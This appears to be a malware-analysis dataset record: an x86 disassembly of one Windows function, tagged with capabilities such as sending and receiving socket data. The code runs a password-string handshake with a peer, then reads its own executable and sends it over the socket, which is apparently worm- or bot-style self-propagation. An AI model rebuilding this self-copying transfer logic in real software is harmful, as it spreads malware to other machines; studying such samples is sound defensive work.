Function at 0x406847
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
and dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0x10
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x214]
push eax
push edi
call sub.wsock32.dll_getpeername
push dword [ebp - 0x210]
call sub.wsock32.dll_inet_ntoa
push eax
push 0x412f5e
lea edx, [ebp - 0x384]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
movzx eax, word [ebp - 0x212]
push eax
call sub.wsock32.dll_ntohs
mov edx, eax
and edx, 0xffff
mov dword [ebp - 0x388], edx
and dword [ebp - 0x204], 0
lea eax, [ebp - 0x218]
push eax
mov eax, 0x80040000
or ax, 0x6600
or al, 0x7e
push eax
push edi
call sub.wsock32.dll_ioctlsocket
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_memset
push edi
call fcn.004067d5
add esp, 0x10
cmp eax, 0xffffffff
je 0x406bbd
push 0
push 0x200
lea eax, [ebp - 0x200]
push eax
push edi
call sub.wsock32.dll_recv
or eax, eax
jle 0x406bbd
push 0x412e2c
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4069ac
cmp dword [ebp - 0x204], 1
jg 0x406bbd
cmp dword [ebp - 0x204], 0
jne 0x40695b
push str.PWD715
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x406978
cmp dword [ebp - 0x204], 1
jne 0x406978
push str.PWD14438136782715101980
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
inc dword [ebp - 0x204]
lea ecx, [ebp - 0x200]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x406987
push 0
push eax
lea edx, [ebp - 0x200]
push edx
push edi
call sub.wsock32.dll_send
cmp eax, 0
jg 0x4068d6
jmp 0x406bbd
push 0x413ae1
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strtok
push str.connected.
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 0x10
or eax, eax
jne 0x406b84
push 0
push 3
push 0x412dfe
push edi
call sub.wsock32.dll_send
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_memset
push edi
call fcn.004067d5
add esp, 0x10
cmp eax, 0xffffffff
je 0x406bbd
push 0
push 0x200
lea eax, [ebp - 0x200]
push eax
push edi
call sub.wsock32.dll_recv
push 0x412dfa
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x406bbd
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x320]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x7a8], eax
cmp eax, 0xffffffff
je 0x406bbd
push 0
push dword [ebp - 0x7a8]
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x38c], eax
push dword [ebp - 0x7a8]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x38c]
push str.SFT05_i
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_sprintf
push 0
push 0xa
lea eax, [ebp - 0x200]
push eax
push edi
call sub.wsock32.dll_send
push 0x41328c
lea eax, [ebp - 0x320]
push eax
call sub.CRTDLL.DLL_fopen
add esp, 0x14
mov dword [ebp - 0x7a4], eax
or eax, eax
je 0x406bbd
push 0x411
push 0
lea eax, [ebp - 0x79d]
push eax
call sub.CRTDLL.DLL_memset
push dword [ebp - 0x7a4]
push 0x411
push 1
lea eax, [ebp - 0x79d]
push eax
call sub.CRTDLL.DLL_fread
add esp, 0x1c
mov esi, eax
or esi, esi
je 0x406b3e
push 0
push esi
lea eax, [ebp - 0x79d]
push eax
push edi
call sub.wsock32.dll_send
or eax, eax
jg 0x406b3c
push dword [ebp - 0x7a4]
call sub.CRTDLL.DLL_fclose
pop ecx
jmp 0x406bbd
jmp 0x406ae2
push dword [ebp - 0x7a4]
call sub.CRTDLL.DLL_fclose
pop ecx
xor esi, esi
jmp 0x406b75
cmp esi, 3
jg 0x406b79
push edi
call fcn.004067d5
pop ecx
cmp eax, 0xffffffff
je 0x406b79
push 0
push 0x200
lea eax, [ebp - 0x200]
push eax
push edi
call sub.wsock32.dll_recv
mov ebx, eax
or ebx, ebx
jne 0x406b4e
push edi
call sub.wsock32.dll_closesocket
xor eax, eax
inc eax
jmp 0x406bc5
cmp dword [ebp - 0x204], 1
jne 0x406bbd
push edi
call sub.wsock32.dll_closesocket
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x388]
lea eax, [ebp - 0x384]
push eax
call fcn.00407585
add esp, 8
mov edi, eax
cmp eax, 0xffffffff
jne 0x4068d6
push edi
call sub.wsock32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret